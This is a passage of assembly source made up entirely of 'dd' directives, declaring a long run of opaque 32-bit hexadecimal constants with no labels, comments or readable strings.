		dd 9AA98A31h, 78A8A305h, 2833561Ah, 67ECC894h, 7A28C6D4h
		dd 648E78BDh, 1CEA9A08h, 0EDDA8636h, 0EB6078FBh, 43A13908h
		dd 449A567Fh, 0F8EB102h, 0ACA2F111h, 0FC86EFE6h, 0E414085Bh
		dd 0A074A2FFh, 200B5CA6h, 1A02E7ABh, 0D9BC109Bh, 0B2EF38E0h
		dd 0DCDD652Ah, 0EE3AFA12h, 0E2B34000h, 153E5A75h, 68BA7FC9h
		dd 8D55481h, 1040FA34h,	75F6EB5Ah, 28DC3A24h, 19A6F078h
		dd 11646EDBh, 24209B3Eh, 0F62A059h, 89380961h, 78032D8Fh
		dd 480B726h, 46004007h,	1088216Ah, 63069219h, 6C79392Ah
		dd 0EC69CFA8h, 851D391Fh, 4682F800h, 7F126071h,	0D7A6000Eh
		dd 629FF664h, 0E000E8D0h, 8D9B87D2h, 4FDA79h, 49CCCAD3h
		dd 0A498371Eh, 83758DB8h, 0B0407700h, 6EA14701h, 1058A3ECh
		dd 0C75E2A60h, 9BF0CCCBh, 84FA38C2h, 0F76A020h,	264CFAFh
		dd 0EF19BD61h, 0B75CC0B1h, 63D55507h, 0F42083E0h, 0FB993EEh
		dd 0D95B37C0h, 0D2443E83h, 9DE0F2D3h, 0B403B56Ah, 0AD5D6479h
		dd 0A9C39Eh, 0DE718441h, 467B1468h, 0F50E7500h,	207E6740h
		dd 28E63Ch, 0D34D5F0Dh,	848AB4E2h, 1957A1Eh, 5CAE8E7Eh
		dd 24AD2093h, 365E5Bh, 69A43155h, 21800FA6h, 0E37DE400h
		dd 5053B42Ch, 0DAECE0h,	83A4A843h, 311706B3h, 1FF7D700h
		dd 0C64174C4h, 961C3BF4h, 0B6002238h, 63B7F6CDh, 5401827Ch
		dd 2A26AC90h, 66831B9Fh, 88FF16DBh, 0BCE8E793h,	7C788E3Fh
		dd 79036200h, 68612154h, 0D22700A5h, 2051E077h,	44FC99DCh
		dd 39067F00h, 6E2901BDh, 5FD7746h, 0ED336B0Eh, 24F80F0h
		dd 0D6031541h, 521342B4h, 9286E0D5h, 0BD3A0108h, 4E0C7ACCh
		dd 0F835CDA5h, 9400E6B0h, 37C9FAD2h, 962068h, 0B26A86F8h
		dd 0B76BD7Dh, 69991000h, 0F34EA130h, 0DF340726h, 303A0975h
		dd 0F75E8B80h, 2754D900h, 0FE2B477Fh, 0DA2600BDh, 0C8B6A276h
		dd 88FE0514h, 78AFC306h, 0EA58372Eh, 8CB20242h,	932611DAh
		dd 6E3EB460h, 0AD91700h, 691BEFA7h, 0B6840709h,	0E0104BA4h
		dd 0F4FA14Dh, 80760B3Eh, 16147A9Dh, 3D6A5Ch, 5394BCEDh
		dd 0C88E8DF7h, 0BA54171Ch, 84323A00h, 5F3573h, 44D53362h
		dd 6FBC1E3Ch, 8B153600h, 95256B0Dh, 0C69801A0h,	755E6EB2h
		dd 3D188F82h, 1BB80DCh,	6FE109h, 9A3A262Fh, 5DFD643Eh
		dd 0F308B900h, 0CB8DDE7Eh, 0C204A62Dh, 7CC44018h, 3056BA3Fh
		dd 1A829CC9h, 5E4071D9h, 2812ADA9h, 6800D7BAh, 8F8E7EDBh
		dd 0A418C4E7h, 7FFD21BEh, 0A2F01842h, 845C250Ch, 2430D818h
		dd 62009B6Bh, 574B3681h, 6CCDF6Eh, 4CBC8992h, 9311185Ch
		dd 2D10770Eh, 563F854Fh, 57AE1804h, 0C7188722h,	8321842Fh
		dd 234808DAh, 100F2F42h, 9E620899h, 10DB2B91h, 0CA10C0Ah
		dd 684980F7h, 91B40812h, 0D8240718h, 90666532h,	0A604A177h
		dd 1D1A4C00h, 13EC9043h, 3BE90741h, 0B0810679h,	6DDFB733h
		dd 90FB4C00h, 7CAB9888h, 394E6154h, 0CC9A8980h,	7A07B5A5h
		dd 45D32CF5h, 0C9973740h, 2A9601D6h, 1E9083EDh,	1ABAF056h
		dd 0D06E4700h, 0B8617DB6h, 385E1D05h, 197900BFh, 939F3666h
		dd 6A00417Eh, 121C371Fh, 76EE5B6h, 7A8E91F2h, 0E6BCC078h
		dd 421E702Dh, 0AD005BECh, 17A09FD1h, 1C20FF0h, 0B92041CEh
		dd 4299FFA9h, 807F183Bh, 801046E6h, 3E69E8h, 0F6193FD8h
		dd 9DF8FE6Ah, 88EFF200h, 0C94D50BAh, 0D81081Ch,	8A5072C8h
		dd 9B8F87C3h, 0AB0F6053h, 0B07D67h, 221FF9FAh, 0E07921E4h
		dd 16FB183Ch, 0AF01D435h, 9A1B8702h, 8B32C080h,	955CBC2Fh
		dd 38348000h, 67AA867Bh, 0E4FD0C3Fh, 5E2899D2h,	2E92E70Fh
		dd 34824029h, 12A1ACDh,	778E0B16h, 0D078E39Ch, 7153E9D5h
		dd 5F15015Ch, 9B8E1102h, 7BF47F0h, 711292CAh, 6F6253B0h
		dd 0A6A93097h, 0E10F8A76h, 632BB3h, 1642F8BFh, 709805h
		dd 7D5BE6BEh, 4CE2A9Ah,	95001FF4h, 9F7AE302h, 4CB5E4CDh
		dd 28603185h, 2CDF83E9h, 3415020h, 8CA2EEC7h, 3CED9319h
		dd 6A000F58h, 129721F8h, 0F8026D73h, 669C0342h,	0AF7A8C13h
		dd 373452B0h, 3869AA00h, 0FD18E26Fh, 24CF036h, 0C817D7C2h
		dd 4DC0933Ch, 0E600AF61h, 0BDFA4F1Ah, 1EBE2D29h, 0FBED5EF1h
		dd 0C71FC71Eh, 4D8EC9h,	0FDE8C112h, 867D3D39h, 2191201Ch
		dd 0D39E3E38h, 0C040406Fh, 66F9CC09h, 2C9B6204h, 1843DFAh
		dd 173A3CBCh, 0CC93A900h, 0B9084846h, 7D603200h, 974965DBh
		dd 0E3FC0F43h, 42016A36h, 60FA3C5Ch, 0E5F6E431h, 64C45107h
		dd 0B1EC978Fh, 547D0021h, 4058AAF4h, 6D0F852Ch,	0FDB2A8B4h
		dd 7A2D3741h, 0C69836E1h, 0A9C89172h, 80AEC8DEh, 0D89C5F00h
		dd 0A0BC11AFh, 5812C780h, 5B014C9Fh, 0AEBD197Bh, 0E0AC4A8Bh
		dd 0A9A8DEh, 561B2BEEh,	2894F91Eh, 0C422D0EDh, 57890A03h
		dd 0E0247E1Ah, 0CF975Fh
		dd 0A9DF9BBEh, 0CAA8390Ch, 0F0448F57h, 0E936E082h, 3EDE2E0h
		dd 0A16EFEEEh, 8EA88DFCh, 47001283h, 6A0C4AADh,	3E742A6Bh
		dd 0F5009192h, 0DE75B673h, 3300DDA4h, 0DCF4A876h, 0F8067CEh
		dd 0ACFA1F7Ah, 94221120h, 0E0FFFDAAh, 0BB0141FFh, 3965D4BCh
		dd 30834896h, 0D311C7C2h, 6EC98900h, 6404A3FDh,	0E5E6034Ah
		dd 0E03F8D48h, 9D8428E5h, 0A6F0D276h, 0DD413Fh,	2D96C528h
		dd 9017CB2Bh, 0D323004Eh, 0D0E18054h, 0AA003C8Fh, 4226621Dh
		dd 0D2939A8h, 6D2D6165h, 0BD085028h, 11002895h,	0ABF9E181h
		dd 16C616Bh, 0A45D9C6Ah, 4825C91Ah, 280E08D0h, 804360CAh
		dd 74468ECBh, 0EEE800E5h, 0CDDCF2Fh, 7703E65Eh,	884CF8A4h
		dd 3CADC03Dh, 0FFF7006Bh, 4ADC0301h, 6100E333h,	0F6A577A0h
		dd 868B72h, 0B14E7170h,	8802AD1Eh, 186F9D0Fh, 103F6766h
		dd 0E0AFF673h, 1DEBB49Ch, 3D2537h, 56D769BAh, 0A8002D6Dh
		dd 307332CDh, 76FCB45h,	0AAFA4D68h, 252E8033h, 0A90058D0h
		dd 77538C6Bh, 304BA846h, 7A8198FCh, 180067E9h, 6F64249Eh
		dd 0A80C54h, 7F089D0Dh,	14834A8Eh, 674BC801h, 0CB16C06Dh
		dd 2D60DCh, 0B30E3518h,	0FD750D0Ah, 1D3BF63Ch, 1EC7BAA8h
		dd 76905E13h, 0C8CA9Fh,	9C0AE0A2h, 0B0F77A88h, 0A4FAA618h
		dd 6152C8h, 0D94C1077h,	0CC44EC46h, 7F745614h, 0A0FBF080h
		dd 0D0BA29E8h, 5B6F7044h, 26FC79C0h, 0CAA58AB6h, 0CEC460E0h
		dd 4090922Ah, 19C25E7Ch, 39D50F3Fh, 0B1270FF7h,	9CFD03E1h
		dd 141001F9h, 63900C47h, 1AE707F6h, 0EF277B24h,	0AA69D502h
		dd 40042424h, 0AA001286h, 9F8B7044h, 8ACF3E92h,	1089DCBCh
		dd 40F2465h, 16661401h,	37A6C028h, 3020DF24h, 54D68406h
		dd 0E10A01D0h, 5393625Ah, 1204E815h, 349DD900h,	0DC84103Eh
		dd 0A0F0018h, 39E0A5EFh, 24FEF35Ah, 46B92D2Ch, 0E3659B00h
		dd 7C770BAFh, 664B017Ch, 5D1552EFh, 0CB9BEC35h,	98C36500h
		dd 2D21C719h, 5E861DD6h, 281100FAh, 0DCB3E28Eh,	8229D0Eh
		dd 0C57E4075h, 3C24B30h, 0E8810968h, 38380282h,	62C48F87h
		dd 0B82B00E4h, 0D54284h, 5A24995Dh, 2CE90F88h, 0F062D602h
		dd 61F308C7h, 4B212B17h, 0FC0441A3h, 21612C00h,	0E6C9E4C2h
		dd 0CCFE63h, 8DD15B40h,	0E0CA8258h, 5530D460h, 3CF46CB3h
		dd 2703FD2Ch, 2E84B02Dh, 0A36FFEE1h, 0D423418h,	8F4C952Ch
		dd 25EF795Ah, 83E8B680h, 0A021D71h, 0E9A3750Bh,	6CC87CDh
		dd 841FE7C2h, 5530290Ch, 0F5883558h, 20F484CEh,	0C75D18A0h
		dd 1EEC2884h, 0A111210Ch, 24C2DA0Ah, 45AD8508h,	0B90C44BCh
		dd 65B827CCh, 95484A2Dh, 0A089880Ch, 8E215142h,	45DAA83Ch
		dd 150C4A48h, 0E0717824h, 1388DD00h, 2910CB93h,	0D3BF2861h
		dd 0A87A110Ch, 0D22310ACh, 0A1E8858Fh, 46C8A790h, 10A6D362h
		dd 5484DC05h, 50B83097h, 0C03B0CDAh, 9BADE749h,	13405DFFh
		dd 0CA95160h, 0C4A21AE4h, 0C15431h, 7F2A7391h, 85270EC0h
		dd 0E3E05A92h, 1CF6BEFh, 0BEA2D901h, 410720B8h,	3B9CF4E4h
		dd 3F002F5Fh, 0EB954946h, 606BB73h, 6D6982A5h, 75010340h
		dd 0DBBDDAF2h, 7376A008h, 2AD883C2h, 1800D666h,	56BEF9C4h
		dd 3969E476h, 48833845h, 72437CB6h, 180330A6h, 0E94BED47h
		dd 5A9480BDh, 0A395180Fh, 0CD7E889Eh, 0D6B07C00h, 3DB1A9A2h
		dd 1E1010E3h, 0C3E000BDh, 0B8AE984Ah, 917843h, 6A1D5141h
		dd 0F532963Ch, 9F9D9400h, 0AFDCFBF4h, 901E00B5h, 0EA39BE89h
		dd 9E00B480h, 209D3376h, 15582Fh, 44FD8294h, 0C227D532h
		dd 0AC634606h, 1597DE0h, 3FC6835Ah, 0DC18257Eh,	0C2E4105Fh
		dd 8BE6601h, 9F71E1B9h,	50C6BD03h, 2F7CA44h, 0DC7BA4BEh
		dd 14A6BA9Ch, 460A40D3h, 34DFFCB5h, 60BC1100h, 0BD9157h
		dd 0F5DA7F68h, 0EEC94822h, 944180Bh, 336A802Ah,	2EFD5E25h
		dd 0E8DFDBh, 89B66397h,	72074B32h, 0F03AEBDCh, 20B85CB6h
		dd 850C2D1Bh, 98FEB691h, 0A7B90013h, 96EDFACEh,	690CC02Fh
		dd 68F19550h, 0ACB11E40h, 30B3C17Dh, 9FEB7CDCh,	68E8C418h
		dd 80FE9E31h, 0E377Ah, 573380E9h, 3895F5A9h, 30805A9Dh
		dd 0BE5B9C25h, 8380C2Eh, 0E3D78137h, 45AFF292h,	0D97EC041h
		dd 0C6C66AE0h, 0B05B9D10h, 48E9250Dh, 22E0C8A5h, 1509074Eh
		dd 0C12AB25Ch, 61193299h, 3E78CC90h, 0FDF5A20Fh, 0DC30D8D6h
		dd 7039C769h, 64C2C11Ah, 5514F024h, 0E03A23FCh,	0BFC61B57h
		dd 2D04D019h, 384AC19h,	21505FDAh, 981E4EFFh, 7F00EE25h
		dd 0BF2EE57Ah, 14E91EF1h, 336D00BCh, 4D73DDADh,	7D79EA0Fh
		dd 118240D5h, 76FB12D0h, 0F71B018Bh, 0D8EF72A3h, 9CD9D029h
		dd 174AB219h, 0C4603218h, 0BE6100CAh, 0FBD21A2Ah, 7707A2B8h
		dd 0F87D7AB9h, 607C8410h, 0C016E8AEh, 9C8BD840h, 54078CA2h
		dd 0BF0B1DF2h, 6D7343BEh, 6CC6D0C5h, 0E7450064h, 0E1D8D6CAh
		dd 4F1DFC8Ch, 1F0046C9h, 1C29219Dh, 608700B6h, 0EAC68BEh
		dd 1A3EBA2Ah, 98FF026Bh, 0EE4A0F8h, 289B2F06h, 0A1222A32h
		dd 9FB56045h, 0F8E8C2E6h, 0C020C47Dh, 3D0F7E24h, 7A8FB717h
		dd 0CE1D7B86h, 85E3BFDBh, 0D802CBE8h, 0A3DD8030h, 7874839Bh
		dd 0A2B10142h, 0F4B5DA4Fh, 613058E7h, 42772721h, 6400C0AEh
		dd 0FA781C94h, 0ACB90060h, 0F21911E8h, 4500FFFAh, 8D868EBDh
		dd 0F3E27Fh, 0FE8F8CB0h, 0E9985085h, 42E040E3h,	0DA0069B3h
		dd 877E779Bh, 0E504B7h,	0A6F1FCCAh, 18678678h, 6BC0E700h
		dd 0D0958896h, 24440E2Ch, 0E4F4731Ch, 0BAB0F70Eh, 0DE42D838h
		dd 0CC889803h, 0BA8A7C1Dh, 14A08AA1h, 0E1FAC60Ch, 3FC503C4h
		dd 36E31BDFh, 0D1FDE0AFh, 3492BA4Bh, 0B4093C00h, 1DF158D0h
		dd 0A7AE0C43h, 0BEE824BBh, 0FC3052B0h, 0A3B0A1CDh, 18113088h
		dd 0E60BE8F8h, 905C7328h, 250450AEh, 74B68B42h,	48402084h
		dd 0BB3DC0BEh, 0D58E3054h, 0A6B2AC38h, 5C12A2E2h, 100A33CCh
		dd 9080B445h, 0E9D45B15h, 0B7EC0063h, 9F1B10B1h, 949199A4h
		dd 210F8420h, 0E039F089h, 0A494AEF2h, 9E5E24F9h, 9618184h
		dd 8AEC7711h, 58DE5530h, 126CDA04h, 26923801h, 0B8E9B7CBh
		dd 0B1BAF641h, 0B7B2EC40h, 91F8A8CCh, 0E33602D2h, 85339B80h
		dd 0C0F5A040h, 921D460h, 0F34CD2C4h, 0D8458450h, 4D7C0A20h
		dd 8185287h, 0FA80D558h, 8F5F1EAEh, 20EE0686h, 0A0B86839h
		dd 8B734A1h, 0F4DB0024h, 0F18CEE36h, 8902E6Dh, 2D001C90h
		dd 3490A159h, 31B1BDBAh, 0F6690288h, 30C2EB0Eh,	0AF460887h
		dd 40E45F08h, 2C10F960h, 393E9890h, 0B1BF8EC2h,	0D2F782C3h
		dd 0F08A5703h, 84073868h, 800C519Ch, 0A11883CCh, 5F9F4207h
		dd 28D0F15Ch, 0A2B2382h, 4509E334h, 312CA9C0h, 208DD509h
		dd 9B607FD8h, 0EA5F3B19h, 0FBA0A82Eh, 0E47D5450h, 1879900Ah
		dd 80EB8473h, 8E123DC1h, 0CC0266A6h, 42C5C374h,	0DC7CA0A9h
		dd 735A4C9h, 9DEFBACAh,	85E240A3h, 19240970h, 505020A7h
		dd 0C81154D7h, 30491C8h, 0A488C9C3h, 0F1CB14Ch,	0E0B9F738h
		dd 83B541CAh, 1BC501BDh, 7C2114F2h, 0D7B83437h,	0B9BF7601h
		dd 0F39E233Ch, 0B16C518Eh, 84E8DFE0h, 200C3721h, 10C0A170h
		dd 0FB5B0085h, 0A7D7EE2Dh, 4C2A4560h, 412430B4h, 87955CDFh
		dd 27007948h, 4EDCB731h, 499E8ED3h, 0A80118C3h,	0CB918CD1h
		dd 0DB8507Eh, 9749A413h, 0C885291Ch, 0F226F301h, 8040EFD1h
		dd 17A119ACh, 0CAE46h, 0D387CCCDh, 38C1C9F3h, 727A23FDh
		dd 9D61260h, 2D576F01h
		dd 0FFA7080h, 64905A91h, 26EBB600h, 0AEF3ED98h,	0BD0500C4h
		dd 0E2E87ACh, 9298D280h, 0CA0B500Ch, 2B18B3h, 0FC6082DDh
		dd 0B5A0A108h, 0A718C67Eh, 7A79F21Eh, 0B8C51256h, 5F1C4046h
		dd 7B5A1764h, 0BDB6A403h, 1CA838Ch, 76140FF8h, 60867Eh
		dd 30BB43DDh, 465C83E2h, 8CC1F06h, 0E359E0h, 8644B80Bh
		dd 55407D33h, 1A54C21Ch, 0ACBCA681h, 5F0073F6h,	4B0EC6F3h
		dd 0E0F8996Ch, 0A79E0243h, 0E3FC0C97h, 0DCF88049h, 62D0EE1Eh
		dd 5B5CF200h, 0BD8F0Eh,	2CE9A9CBh, 34E23F2Eh, 4400027Ah
		dd 669379E3h, 3BA3B1h, 0D5102199h, 0E81AEFA7h, 5697AC2Ch
		dd 5A6DAF01h, 95FC1D91h, 357D003Ch, 6AB4E881h, 7301752Eh
		dd 0C88EC152h, 0C7E70Ch, 2E2B340h, 7C996A7Fh, 0BB533500h
		dd 715A9775h, 8F51003Eh, 417F26AEh, 9E20736Fh, 0D99D1EDCh
		dd 1166180Fh, 200B5BFh,	3AB307F9h, 8F9C6Ah, 3D553ECDh
		dd 409FC9EAh, 0F4C84700h, 0D057F198h, 30DA0087h, 7101B5BEh
		dd 821212CEh, 5100069Fh, 5211CE4h, 0D26701C3h, 0A3E7E257h
		dd 0FED0B011h, 0C0EA765Bh, 17CCF934h, 8624BE2Ch, 6600770Eh
		dd 0C0359F89h, 0ED53003Ch, 926356D5h, 3A00D940h, 1C51A2EBh
		dd 14038910h, 94DFDC28h, 730E628h, 8F31C7D9h, 7B7CE0E7h
		dd 0FE0A965Fh, 909AC9E6h, 2ABE507h, 0F29C5B00h,	66B91F5Dh
		dd 551EC067h, 0D688DD65h, 8B8AA518h, 0C43658h, 0D7915E2Bh
		dd 313948B3h, 0A07F1E00h, 7D9A4558h, 0F837F016h, 53E207B2h
		dd 0BE64EFE6h, 0B069B803h, 19D894E0h, 0D1836D01h, 0D3B9740h
		dd 0A50C20h, 0D35AA1A6h, 0C710236h, 54987404h, 0FDC0E7AFh
		dd 779EC2Bh, 7B3164E2h,	991840D7h, 0F10E59A4h, 78FE51h
		dd 0DB7775AAh, 4F002E1h, 8037287Bh, 3B16DC80h, 55FC3267h
		dd 0BB2D8400h, 8CD3C7BDh, 107000B9h, 1D5C14DAh,	8F00E248h
		dd 43F4D69h, 56F151h, 13F43A9Ch, 216CEF30h, 5A346D00h
		dd 9EE760D7h, 0C50E00C1h, 0AC24D90Fh, 0A409158Eh, 0DA3496h
		dd 0B2A78609h, 0C2CB00A2h, 0B45CB86Dh, 1B1C70EEh, 4640FFE1h
		dd 0EC61AA5Dh, 33CB00DDh, 659C53F1h, 713BC3A6h,	6BF08011h
		dd 1C4C7940h, 0BF1600C2h, 0A3769477h, 8C0B340Fh, 80CBA6A1h
		dd 0AC0904Ch, 457D1F6Eh, 99B30686h, 90C02032h, 19141B4Fh
		dd 0F57F000Bh, 0AA8E109Bh, 8D0FC75Ch, 0E0D1D6A7h, 6A56743h
		dd 0C07A7496h, 461C2539h, 0F41E6283h, 0F1456610h, 39C05BFDh
		dd 7A0FE53h, 0E93E4E8Bh, 70969784h, 176B7AB9h, 4D984A8h
		dd 52E74101h, 5442F5B8h, 4C4260E2h, 0AEB300F2h,	82DB2BA6h
		dd 0B4486E26h, 32EE1B04h, 1918E858h, 7F77D2Ch, 0B13CBF5Ah
		dd 980C51F1h, 5C6CF462h, 0A9B83730h, 0C588A5h, 12B49DC3h
		dd 68D40E7Bh, 0AD0C5000h, 88C21E9Eh, 0ECD74AAAh, 0EBEF00FAh
		dd 9154AC25h, 0C608011Bh, 7B97B5F0h, 985181A6h,	3733423Bh
		dd 1F743020h, 715FF09h,	0CA7F8DEEh, 0EA830090h,	82ECA45Ah
		dd 62659100h, 0FA8BFD79h, 0FEF70042h, 70D6B4E1h, 1005D2Bh
		dd 0ECAD1DB2h, 45631656h, 517C6010h, 0E7A36400h, 0AB7E2FE5h
		dd 0CE8200C2h, 94676C7Bh, 0F019262h, 66DDAAAh, 0F4EC6001h
		dd 1DDF30CAh, 0FE737976h, 0AC18D200h, 6D1BDB84h, 5273F25h
		dd 325328E2h, 0B9FD9920h, 58AC081Dh, 3E082763h,	31F788BEh
		dd 88BBC188h, 7CA8602Ch, 7CB79C4h, 9A20990Eh, 8C12C2A6h
		dd 0EB7E5100h, 0DE988257h, 90580003h, 1CB6AAA7h, 0B3000C2Eh
		dd 0DB7901E3h, 1EE15C67h, 1EE7EAE0h, 725703D0h,	37A09CBEh
		dd 4F00FDEDh, 4DAB0A43h, 0A311626h, 53DA9F86h, 9895009Bh
		dd 0E728CA73h, 81029D72h, 99BA48D5h, 0E3E0DFDCh, 0D7001F7Fh
		dd 5AFA9F4Ch, 3405E72h,	132B5DD4h, 6CF0B042h, 0FB3FF4EAh
		dd 0AD5383BBh, 0B8A90544h, 3B88A2h, 0D6165168h,	844062DAh
		dd 0F0724A00h, 5ACC28CFh, 77CD004Bh, 0C8D2D64Fh, 237FF969h
		dd 0A8CE0700h, 0A2E790B4h, 927B176Eh, 0B7C4001Fh, 9A7716DEh
		dd 56205A03h, 0DB644Eh,	8E52C168h, 0EA9F0E89h, 63B4F91Dh
		dd 0FEE6D787h, 0DBD8C550h, 84220048h, 57E9C840h, 1A04AA60h
		dd 0DE08F71Fh, 0A8920883h, 3A87BBB2h, 0D300CCC3h, 0DF4D4307h
		dd 0F00D04Fh, 6F22FFA6h, 3EE73624h, 2780AAF7h, 7E1002FCh
		dd 21F00A8Fh, 61722CE2h, 2EB54B13h, 0ADE5B800h,	78F214h
		dd 0D71A9F4Fh, 700A2D11h, 96697D00h, 5D23D16h, 0B5C90035h
		dd 56DFB69Bh, 360E7F0Fh, 3B9A8DBh, 0D879F8E7h, 4CF7B46Ah
		dd 0F5017C5Ch, 7F9D23C3h, 21B8F72Dh, 6D00303Fh,	67AF980Eh
		dd 0CEC918h, 0E5FDE642h, 0C5BAA605h, 7900F4E2h,	98A7DD9Fh
		dd 3E924CBh, 0A01283F2h, 9BB81B99h, 9700E618h, 0ED6D1E0h
		dd 759D285Eh, 957C036Ch, 2E0411ABh, 63819BD0h, 48D99600h
		dd 7C829921h, 97021753h, 0AB8EB051h, 0D9F81800h, 0F74C7EC9h
		dd 0D59400E8h, 0B68F4E77h, 0E53D9936h, 1BD30048h, 0BC2DE93Ch
		dd 496C00A4h, 9514C9Bh,	560239C8h, 0E9D7A92Ch, 57E5E0A6h
		dd 0A8CC0B42h, 3700D269h, 0D443083Dh, 9ADD9000h, 55D062A9h
		dd 537856h, 0F1D77092h,	4A2980A2h, 0DCED8703h, 0AC6E2D81h
		dd 0DAD3080h, 0C72703B7h, 2E82F2F6h, 6FCDC2F8h,	0C0EF1312h
		dd 0C85A2400h, 90AF04h,	0B28EB929h, 0F7661982h,	6378A000h
		dd 9943152Ch, 54F100F2h, 90E7736Ch, 942C60DFh, 0EB007E6Dh
		dd 0F8F47CC3h, 0F7430566h, 0C0834AF2h, 75074B30h, 20520300h
		dd 9E9A0C04h, 6DAC00E3h, 2CA97B94h, 2D02FF6Bh, 71C6BC77h
		dd 6AE8A363h, 2FA9B856h, 9ACE80F3h, 2AA64107h, 0D643CCA0h
		dd 0AF2CE813h, 798890B0h, 92E3280Dh, 41143DE4h,	27207880h
		dd 86D9358h, 7CA34E00h,	0C90C886Fh, 6CE7121Bh, 75170076h
		dd 0AEAB33DCh, 0CA2A5C04h, 0B680A990h, 0E91BC94h, 45985A77h
		dd 0C56ACD80h, 0E301E79Eh, 7650476Fh, 0A0F894BFh, 90B500B8h
		dd 8536A68Ah, 54269771h, 0B0006BF9h, 0FCEF8B53h, 0C1BA0072h
		dd 13B45FB8h, 0D9126851h, 9400762Bh, 0AB5B8785h, 236B05ECh
		dd 0C5114AA8h, 4CDC003Ah, 10F6B401h, 3E2F7203h,	0C0499555h
		dd 0AD6644h, 1898506Fh,	4645ABF7h, 0D9F5AA00h, 8B3E3D4h
		dd 0A9E20161h, 0BAE3078h, 8EF0F3D5h, 4C3E364Ah,	201E80ADh
		dd 67FD62BEh, 0C9AB0EA3h, 7C803543h, 7137945Eh,	23BAEB00h
		dd 2D6FBB5Ah, 26F038h, 11C73BAFh, 0F5640128h, 0A885B700h
		dd 7BA39003h, 98C972D8h, 9B4400EFh, 8AA3C34h, 52392114h
		dd 69C580ECh, 238EFE4h,	2B7311h, 13906DEh, 0D345B52h, 45C86500h
		dd 98CA7BCBh, 0A0ED0E74h, 5660012Bh, 38AA8D63h,	7A3979B8h
		dd 43E81F5Dh, 0D76BCB80h, 538942h, 68813D29h, 0BB1304E6h
		dd 0D9FEB00h, 0DDCF820Ch, 0FE5C0E1Ch, 0CDE783CEh, 0F59360C8h
		dd 43982D45h, 49E9C600h, 9AD3B5EFh, 2B5C001Fh, 0A53C3F5Fh
		dd 0E0005D6Ah, 5ECAFCF6h, 735B9F7Ah, 3FFD70C2h,	0A1846F5Ch
		dd 0C0822C8Eh, 3B42C7E6h, 0BF18BC07h, 4380A817h, 70D58h
		dd 451B56C5h, 0CE72632Fh, 7C24D900h, 557D8C48h,	335D0020h
		dd 6D2FF01Dh, 5102AC21h, 1CEA0370h, 758081E5h, 8FDC0765h
		dd 3E8B075Bh, 605FD6E2h, 0B95EC04Fh, 77526400h,	0B4B82181h
		dd 53C200CFh, 0B34DAA15h, 14005D82h, 501C03B0h,	0ACE702h
		dd 12E4669Eh, 1BFC1659h, 39005675h, 34107742h, 964C28h
		dd 92DCDB6Ah, 806840C9h, 5C9AD800h, 52812BA7h, 5A1E1ED2h
		dd 19BAC32Ch
		dd 57A00CD7h, 73005071h, 0BB879B6Bh, 8F68D1h, 7CD8B22h
		dd 0C2F08248h, 6FB03150h, 0BCCEDF00h, 0A352F2EDh, 0CA2D0087h
		dd 841FD040h, 2C001410h, 6E8A8F3Fh, 0C417DEh, 958D9073h
		dd 7ED3C6EEh, 8E007478h, 0EB7D02E6h, 4EDCF9h, 0ABE2636Bh
		dd 414B1007h, 97277100h, 0CA87FB03h, 803B14D3h,	6126AC20h
		dd 0D977000Dh, 395B1638h, 2767A700h, 932A76CAh,	54F9001Eh
		dd 94477E4Ch, 8A011A1Bh, 0FB323519h, 0A7E32B8Eh, 85DFC9B0h
		dd 30C801F3h, 0CC0E5D38h, 32E3F0FEh, 6E73E400h,	0C4FF9E01h
		dd 45A40070h, 0D9CC5274h, 44EE3312h, 6686B500h,	81D8D4ECh
		dd 9DF02CEh, 48EEC240h,	0F7C3F883h, 0E914C90h, 17EFA00h
		dd 35A99F05h, 43750089h, 94BA8BC8h, 0DF008586h,	0B4E02B02h
		dd 1C666FD4h, 768631Bh,	0C0FC5FC9h, 749FE320h, 0FD420700h
		dd 50E1396Dh, 4C60019Ah, 8FACC010h, 404AF8F3h, 0EBFC3F0Eh
		dd 4B0FE031h, 8610C3h, 9EB4C6ABh, 39CF7CE2h, 17A4000h
		dd 26302D0Ah, 0A17D037Eh, 6B6641C4h, 9E42E180h,	0D8EEB600h
		dd 0CC330D9Dh, 20F0384Dh, 73E8E580h, 0CEA4F445h, 6B746112h
		dd 0F5A2D400h, 3F60C742h, 50006A29h, 0CA51C913h, 2000E30Bh
		dd 0DD71332Dh, 0BC5B83h, 0A4BF803Eh, 183910ACh,	86172400h
		dd 96FAF823h, 0E3F8FB7Bh, 0DFA10335h, 746B59AAh, 0C19897DBh
		dd 4D00D849h, 0A79F7E1h, 0E689CA5h, 62FA21B8h, 0C050A0E4h
		dd 10F4FCA1h, 39CEF000h, 1CD2C122h, 3D2300AFh, 3464D5D8h
		dd 0E4502A40h, 9C07FF96h, 7F77D4DDh, 0D28FB810h, 47A30024h
		dd 5A650F8Ch, 2E61A06h,	9684BD00h, 0E2621B82h, 439900B0h
		dd 36F1886Ch, 0DA01475Ah, 0F8618EDEh, 4FC8C2B2h, 8BE70E38h
		dd 0AAC02BE2h, 7E9A6006h, 644A4401h, 0B18399B8h, 0E4DA0DDCh
		dd 93C50735h, 0B0CF1E43h, 7972A4C2h, 0BFF35E00h, 0ADA87B2Ah
		dd 0FFE1073Dh, 99FE16EFh, 0B7777E00h, 903BC1DFh, 37608F1Ch
		dd 0B348C024h, 0FEC6Ch,	0ED03A30Eh, 65F7495Eh, 20056031h
		dd 4AF036C4h, 926B03A8h, 0BA555ADh, 7FD5A3A0h, 0A182971Dh
		dd 0F0C68B40h, 6243C5h,	84E188BCh, 0A8E580ACh, 0F583EB00h
		dd 255C947Eh, 7DA00D9h,	0CBA55752h, 0F1B059FFh,	7DA63900h
		dd 99EBE015h, 401900BCh, 0D4077036h, 671E7F34h,	4600984Fh
		dd 777984CDh, 93F90095h, 0BE360AF7h, 737FCCFCh,	5B101500h
		dd 79443B87h, 2E49264Fh, 9B09006Dh, 3233A8ECh, 0A20F600h
		dd 2A92F1DFh, 0F2643911h, 0C3ACB987h, 2D1930DDh, 6150827Ch
		dd 0D43BBB80h, 0FD6A0EC6h, 0DC4BEDh, 88B7981Bh,	379045h
		dd 5173B4AEh, 0C7DB5D3Ah, 71392D00h, 4152021h, 0F360356h
		dd 760358F8h, 9C35D5F8h, 7AC29A1Ch, 7872DB80h, 0FB0956h
		dd 1BF6659h, 0DCF2B994h, 20BEC300h, 0A28FFF35h,	0A65800C1h
		dd 9EA16463h, 0B900891Bh, 0E27331F7h, 0E06DE561h, 3EAF05FAh
		dd 0E1E40Ah, 82788EA0h,	0DCF2E38Bh, 0D10008FEh,	7201CA6Dh
		dd 7CED6C2Ah, 857E00A2h, 2B1951FBh, 6300D866h, 36165F94h
